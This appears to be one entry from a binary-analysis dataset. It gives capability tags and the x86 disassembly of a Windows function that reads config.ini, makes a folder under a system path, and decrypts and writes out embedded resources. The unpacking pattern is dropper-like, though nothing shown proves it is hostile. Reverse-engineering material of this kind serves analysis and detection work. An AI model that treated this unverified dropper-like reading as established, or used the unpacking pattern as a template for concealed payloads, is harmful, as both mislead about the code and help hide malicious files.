Function at 0x402bd0
Capabilities:
Accept command line arguments
Create directory
Extract resource via kernel32 functions
Get common file path
Read .ini file

Disassembly:
push ebp
lea ebp, [esp - 0x310]
sub esp, 0x310
push 0xffffffffffffffff
push 0x424e20
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x42fce0]
xor eax, ebp
mov dword [ebp + 0x30c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.00405bfd
test eax, eax
jne 0x402c42
push 0x429be8
call fcn.00411d36
mov esi, 1
add esp, 4
mov eax, esi
jmp 0x403287
push 0x103
lea eax, [ebp + 0x209]
push 0
push eax
mov byte [ebp + 0x208], 0
call fcn.00413280
add esp, 0xc
push 0
push 0x1a
lea ecx, [ebp + 0x208]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp + 0x208]
or edi, 0xffffffff
add eax, edi
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402c80
mov edx, dword [str.xhn_]
mov cx, word [0x429c04]
mov dword [eax], edx
lea edx, [ebp + 0x208]
push 0
push edx
mov word [eax + 4], cx
call fcn.004120b2
add esp, 8
cmp eax, edi
jne 0x402cbf
push 0
lea eax, [ebp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp + 0x208]
add eax, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402cc7
mov ecx, dword [str.config.ini]
mov edx, dword [0x429c0c]
mov dword [eax], ecx
mov cx, word [0x429c10]
mov dword [eax + 4], edx
mov dl, byte [0x429c12]
mov word [eax + 8], cx
lea ecx, [ebp - 0x14]
mov byte [eax + 0xa], dl
call fcn.00402680
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x14]
cmp dword [eax - 0xc], 0
jne 0x402d95
push 0x103
lea eax, [ebp + 1]
push 0
push eax
mov byte [ebp], 0
call fcn.00413280
add esp, 0xc
lea ecx, [ebp + 0x208]
push ecx
push 0x104
lea edx, [ebp]
push edx
push 0x429e29
push 0x429c14
push str.Path
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402d52
sub eax, edx
push eax
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.00403b50
mov ecx, dword [ebp - 0x14]
cmp dword [ecx - 0xc], 0
jne 0x402dad
push 0
push 0
push 0x429c20
call fcn.00405f61
mov dword [ebp - 4], edi
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
lock xadd dword [edx], edi
dec edi
jmp 0x403274
lea ecx, [ebp + 0x208]
push ecx
push eax
push 0x429c14
push str.Path
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0x429bb0
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x403263
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x20], ebx
test ebx, ebx
je 0x403263
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x403263
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x403263
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
push eax
call fcn.004038e0
add eax, 0x10
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x429c5c
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call fcn.004035a0
mov edi, dword [ebp - 0x1c]
push edi
call fcn.00402900
add esp, 4
cmp eax, ebx
jne 0x402e58
push 0
push 0
push 0x429c6c
call fcn.00405f61
lea ecx, [ebp - 0x1c]
call fcn.00403cf0
lea ecx, [ebp - 0x14]
call fcn.00403cf0
jmp 0x403282
xor esi, esi
cmp eax, esi
jbe 0x402e63
call fcn.00401ba0
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x18], esi
lea esp, [esp]
cmp dword [ebp - 0x18], 5
jge 0x40301f
lea ecx, [ebp - 0x30]
call fcn.0040640a
push 0
push 0xffffffffffffffff
push 0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 2
call fcn.00403830
lea edx, [ebp - 0x50]
push edx
push 0x3042
push edi
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 4
call fcn.00406809
test eax, eax
je 0x402fba
lea esi, [ebx + 1]
push esi
call fcn.00403d8e
add esp, 4
push esi
mov edi, eax
push 0
push edi
call fcn.00413280
add esp, 0xc
mov dword [ebp - 0x3c], vtable.CEncryptUtil.0
mov eax, dword [ebp - 0x38]
push ebx
mov esi, ebx
mov byte [ebp - 4], 5
call fcn.00401090
push 0
push 0
lea ecx, [ebp - 0x30]
call fcn.004062bf
push ebx
push edi
lea ecx, [ebp - 0x30]
call fcn.00406140
lea ecx, [ebp - 0x30]
call fcn.0040622c
lea ecx, [ebp - 0x30]
call fcn.004063a4
push edi
call fcn.00403d83
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
add esp, 4
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x50], vtable.CFileException.0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402f42
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
call fcn.004064e5
mov byte [ebp - 4], 1
mov edi, dword [ebp - 0x1c]
push 0
push edi
call fcn.004120b2
add esp, 8
cmp eax, 0xffffffff
jne 0x403076
push 0
push 0
push 0x429d18
call fcn.00405f61
lea eax, [edi - 0x10]
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403057
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x403276
mov dword [ebp - 4], 3
jmp 0x402fd3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov dword [ebp - 0x50], vtable.CFileException.0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403008
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
call fcn.004064e5
inc dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
jmp 0x402e70
cmp dword [ebp - 0x34], 0
jne 0x402f55
push 0
push 0
push 0x429ca0
call fcn.00405f61
lea eax, [edi - 0x10]
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403057
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x403276
push 0x103
lea ecx, [ebp + 0x105]
push 0
push ecx
mov byte [ebp + 0x104], 0
call fcn.00413280
add esp, 0xc
push 0x429bb0
push 0x66
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4031d7
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x20], eax
test eax, eax
jne 0x4030c0
xor ebx, ebx
jmp 0x4030da
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4030d1
xor ebx, ebx
jmp 0x4030da
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
cmp dword [ebp - 0x20], 0
jbe 0x4031d7
lea ecx, [ebp - 0x30]
call fcn.0040640a
push 0
push 0xffffffffffffffff
push 0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 7
call fcn.00403830
lea esi, [ebp + 0x104]
mov byte [ebp - 4], 9
call fcn.00402990
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x403110
mov edx, dword [0x429db0]
mov ecx, dword [0x429db4]
mov dword [eax], edx
mov edx, dword [0x429db8]
mov dword [eax + 4], ecx
mov cx, word [0x429dbc]
mov dword [eax + 8], edx
mov dl, byte [0x429dbe]
mov word [eax + 0xc], cx
mov byte [eax + 0xe], dl
lea eax, [ebp - 0x50]
push eax
push 0x3042
lea ecx, [ebp + 0x104]
push ecx
lea ecx, [ebp - 0x30]
call fcn.00406809
test eax, eax
je 0x4031b9
lea ecx, [ebp - 0x18]
call fcn.00403d10
mov edx, dword [ebp - 0x20]
push edx
push ebx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0xa
call fcn.004035e0
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.004032b0
push 0
push 0
lea ecx, [ebp - 0x30]
call fcn.004062bf
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00406140
lea ecx, [ebp - 0x30]
call fcn.0040622c
lea ecx, [ebp - 0x30]
call fcn.004063a4
lea ecx, [ebp - 0x18]
call fcn.00403cf0
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x50]
call fcn.004037a0
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
call fcn.004064e5
mov edi, dword [ebp - 0x1c]
push 0
push 0
push 0x429dd0
call fcn.00405f61
lea eax, [ebp + 0x104]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4031f0
sub eax, edx
je 0x40320a
lea ecx, [ebp + 0x104]
push ecx
call fcn.00402a80
add esp, 4
lea eax, [edi - 0x10]
xor esi, esi
mov byte [ebp - 4], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40322c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403252
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
jmp 0x403287
mov dword [ebp - 4], edi
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x403282
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x30c]
xor ecx, ebp
call fcn.004116ac
add ebp, 0x310
mov esp, ebp
pop ebp
ret